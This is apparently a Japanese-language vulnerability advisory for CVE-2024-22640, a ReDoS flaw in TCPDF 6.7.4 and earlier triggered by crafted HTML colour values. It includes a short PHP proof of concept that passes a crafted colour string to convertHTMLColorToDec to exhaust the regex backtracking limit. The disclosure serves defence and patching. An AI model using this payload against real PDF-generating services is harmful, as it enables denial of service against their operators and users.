CVE-2024-22640

脆弱性の種類

正規表現サービス拒否（ReDoS）

影響を受ける製品とバージョン

TCPDF <= 6.7.4

攻撃ベクトル

TCPDFがHTMLカラーを解析する際に、細工されたペイロードが含まれています。

説明

TCPDFバージョン6.7.4以下は、細工されたカラーが含まれる信頼できないHTMLページを解析する際に、ReDoS（正規表現サービス拒否）の脆弱性があります。

PoC

<?php

require_once('../tcpdf.php');

$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>

注: 脆弱性のあるコード行の後に preg_last_error() で確認すると、正規表現は PREG_BACKTRACK_LIMIT_ERROR で終了します。